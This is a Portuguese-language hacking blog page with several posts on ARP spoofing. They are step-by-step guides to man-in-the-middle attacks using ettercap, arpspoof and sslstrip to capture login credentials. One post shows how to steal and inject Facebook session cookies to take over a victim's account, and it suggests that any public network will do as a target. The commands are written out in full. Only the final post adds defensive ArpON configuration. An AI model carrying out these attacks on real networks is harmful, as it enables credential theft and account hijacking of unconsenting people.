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quinta-feira, 2 de julho de 2015

O leitor Maxwell Oliveira de Souza Lima mandou para nós, além do artigo de escalação de privilégios, um vídeo tutorial sobre Arp Spoofing!

Caso queira ter seu conteúdo publicado aqui na Brutal Security entre em contato conosco através de email ou grupo do Facebook!

Agora fique com o vídeo:


quarta-feira, 29 de maio de 2013

Olá pessoal!

Ontem criei um post sobre como hackear um facebook, mas não tinha me ligado que antes disso eu tinha que explicar um pouco melhor o que é o ponto chave daquele ataque, o arp spoofing.

O que é o ARP

Antes de mais nada, o ARP (Address Resolution Protocol) é um protocolo muito usado, com a função de resolver os endereços da camada Network para a camada Link do modelo OSI. Para os que não entenderam, basicamente tudo isso quer dizer transformar IP em MAC Address. Para mais informações ou informações mais precisas de uma estudada em Redes de Computadores, isso é muito importante, ou simplesmente olhe na Wikipedia.

O Spoofing

Spoof é o ato de se mascarar e fingir ser quem não é, falsificar minha identidade, origem ou função, dependendo da situação que estamos lidando. Por exemplo, se eu spoofar meu MAC Address eu vou estar fingindo ser um hardware totalmente diferente, uma máquina totalmente diferente, e provavelmente com um IP diferente, assim em alguns casos, zoando toda a tabela ARP.

O Ataque

Neste exemplo que vou mostrar a seguir, eu vou fazer um arp spoof, para conseguir algumas credenciais. Vou dizer para um computador específico da rede que eu sou o roteador e vou dizer para o roteador que eu sou aquela máquina específica. Este ataque é conhecido como Man in The Middle, porque, estou literalmente no meio da comunicação, e como tudo passa por mim vou poder ver as credenciais passando e assim que passarem capturá-las.

Outra coisa bem interessante que é necessário destacar é que para esse ataque funcionar você precisa estar na mesma rede que seu alvo, porque como eu comentei antes, você tem que ficar entre a máquina e o roteador. Se não estou falando besteira, tem como fazer algo similar remotamente, mas é um pouco mais complicado e envolve mais fatores, então vamos deixar isso de lado por em quanto.

Então vamos lá. Primeiro de tudo temos que descobrir algumas coisas básicas, tipo o nosso gateway e o IP do alvo. Para descobrir o nosso gateway vou utilizar o comando route.


Pronto! Já tenho uma das informações, só rodar o comando e ele já me mostrou o que eu precisava. Agora vou rodar o nmap para descobrir o ip do alvo. Como tenho poucas máquinas ligadas aqui no lab, um ping scan já resolve meu problema, mas caso seja necessário, use algo mais elaborado.

nmap -sP range_de_ip


Neste caso 4 máquinas foram encontradas, descobri anteriormente que a primeira delas é o gateway, meu roteador. O segundo tem como marca do hardware, baseado no MAC Address, Apple. Como não estou tentando atacar meu MacBook e sim um Windows do lado só me resta a 4º opção.

Dica: Eu poderia ter rodado um ifconfig para ver meu ip, mas como nesse caso só um não apresentou a marca então esse é a máquina que rodou o nmap.

Agora de posse dessas duas informações vamos seguir em frente. O próximo passo é descomentar algumas linhas do arquivo etter.conf, para que minha presença no meio dos dois seja imperceptível e funcional.

As linhas que vem ser descomentadas são as seguintes:


No meu caso 168 e 169, pode ser que não seja o mesmo número para você, baseie-se pelas linhas Linux e if you use iptables.

Assim que remover a tralha (#) salve e saia do editor de texto e vamos seguir em frente. O próximo passo é adicionar mais um comando do iptables para fazer o redirecionamento de pacotes.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


OBS: não tem a mínima relação (acho!) mas sempre que eu uso uma porta diferente de 10000 neste redirecionamento da errado. ;)

Agora falta pouco, só precisamos enviar um "1" para o arquivo ip_forwarding para ativar o redirecionamento de pacotes, para isso use o comando abaixo:

echo 1 > /proc/sys/net/ipv4/ip_forward



Agora sim, tudo pronto, podemos iniciar os comandos que realmente vão fazer o negócio acontecer. Vamos iniciar a captura com o comando abaixo:
ettercap -T -i eth0 -q -M arp:remote /gateway/ /vitima/

Feito isso, agora precisamos para finalizar iniciar o sslstrip para "quebrar" o ssl das páginas. Mas não feche o terminal anterior, deixe o comando rodando e abra um outro terminal para esse:
sslstrip -a -k -f


Agora, assim que alguém naquela máquina conectar em algum site (com auto login marcando aquele "mantenha-me conectado" pode ser que não funcione) qualquer você vai receber no seu terminal as credenciais da pessoa:


E era isso por hoje! Agora você tem o conhecimento básico para por em prática o post de ontem.

Bons estudos!

terça-feira, 28 de maio de 2013

E ai pessoal!

Achei esse tuto legal e funcional e resolvi postar aqui no blog.

Primeiramente você vai precisar estar na mesma rede que seu alvo. Se você não tem um alvo específico, qualquer rede pública serve.

Vamos precisar de:


  • Uma distro Linux para facilitar
  • Windows qualquer (não sei se foi o chrome ou se foi o mac mas não funcionou no mac)
  • SSLStrip
  • Wireshark
  • Arpspoof
  • Greasemonkey
  • Cookie injector para Greasemonkey
  • Firefox ou Iceweasel

Bastante coisa, não é um tuto muito fácil. Mas depois de um tempo de prática você vê que também não é tão difícil.

Primeiramente baixe tudo o que você não tem. Se você usa Back Track ou Kali, falta apenas o Greasemonkey e o Cookie Injector, com algumas buscas no google você encontra...

Vamos ao tuto então!

Primeiro de tudo temos que ativar o encaminhamento dos pacotes. Para isso basta digitar o comando abaixo:
echo 1 > /proc/sys/net/ipv4/ip_forwarding


O próximo passo é criar uma regra no iptables para redirecionar todo o tráfego:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


Agora sim vamos iniciar o ataque de verdade, inicie o sslstrip para ficar escutando o tráfego:
sslstrp -a -l 8080


Agora precisamos do arp spoofing, para isso vamos usar duas vezes o comando arpspoof. Mantenha sempre as 2 abas com os 2 comandos rodando em quanto estiver capturando o tráfego:

arpspoof -i eth0 -t ip_do_alvo ip_do_roteador
arpspoof -i eth0 -t ip_do_roteador ip_do_alvo



E por em quanto chega de terminal, vamos para a interface gráfica do wireshark. No wireshark, inicie a captura de pacotes, e para facilitar no filtro de pacotes coloque o seguinte filtro:

http.cookie contains datr


Provavelmente você não receberá nada de início, mas assim que seu alvo acessar um site como por exemplo o Facebook veja o que acontece:


Provavelmente o último pacote GET é o que contém nosso cookie. Clique com o botão direito nele vá em Copy > Bytes > Printable Text Only:


Agora só precisamos injetar isso na página do Facebook e termos acesso ao perfil do alvo. Vá então para a página do Facebook e aperte ALT + C para abrir uma janelinha bem no meio da página. Nesta janelinha cole o que copiamos antes:


Se você ver uma mensagem como esta é porque o cookie foi injetado com sucesso, agora é só recarregar o Facebook e ver se funcionou:


E ai está! Estamos no perfil da vítima!



Algumas considerações finais:
  • Isto funciona não só no Facebook, praticamente todos os sites geram cookies, então praticamente todos os sites (na verdade a culpa não é do site) estão vulneráveis a esse tipo de ataque.
  • Se a pessoa estiver logando automaticamente porque ela marcou a caixa "Mantenha-me conectado" anteriormente pode ser que isso não funcione.

E era isso! Agora é com você, mas cuidado com o que você faz com isso ;)

quarta-feira, 22 de maio de 2013


Introdução

Veremos um pouco sobre o 
SSLStrip
, descobriremos que o uso da conexão segura 
SSL
 não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros. 
O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:

Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de 
sniffing
 tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas 
man-in-the-middle
, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro. 
Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2para usar o SSLStrip e um Windows como alvo. 
* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade. 

Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o 
ARP spoofing
# echo "1" > /proc/sys/net/ipv4/ip_forward 
Agora, vá até o diretório do SSLStrip no BackTrack: 
# cd /pentest/web/sslstrip 
Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080: 
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 
Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo: 
# python sslstrp.py -a -l 8080 
Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway
# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1 
Em outro terminal: 
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55 
Você pode acompanhar o tráfego dando: 
# tail -f sslstrip.log 
Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo. 
Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros. 

Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como 
Man-in-the-middle
DHCP Spoofing
DNS Spoofing
Web Spoofing
Sequestro de sessão SSL
, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela. 
Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
                 
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor 
GNU/Linux
 que compartilha a Internet para a rede interna que será instalado o 
ArpON
, e nele, iremos colocar todos os IPs e MACs dos nossos clientes. 
Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho. 
Bem, vamos colocar a mão na massa. Para instalar o ArpON: 
# aptitude install arpon 
Agora, edite o arquivo de configuração do ArpON: 
# pico /etc/default/arpon 
Descomente a linha: 
DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"
Obs.: Repare que existe um parâmetro nessa linha (
-i eth1
) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é 
eth1
, caso a de vocês seja 
eth0
, não é necessário colocar este parâmetro. 
E mude a linha: 
RUN="no"

Para: 
RUN="yes"
Agora precisamos cadastrar os IPs e MACs dos clientes: 
# pico /etc/arpon.sarpi 
Edite o arquivo da seguinte forma: 
#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5
Obs.: Faça a identação com tabulações. 
Agora é só iniciar o ArpON: 
# /etc/init.d/arpon start 
E acompanhar os logs: 
# tail -f /var/log/arpon/arpon.log 
 Creditos:rik_99(VOL)
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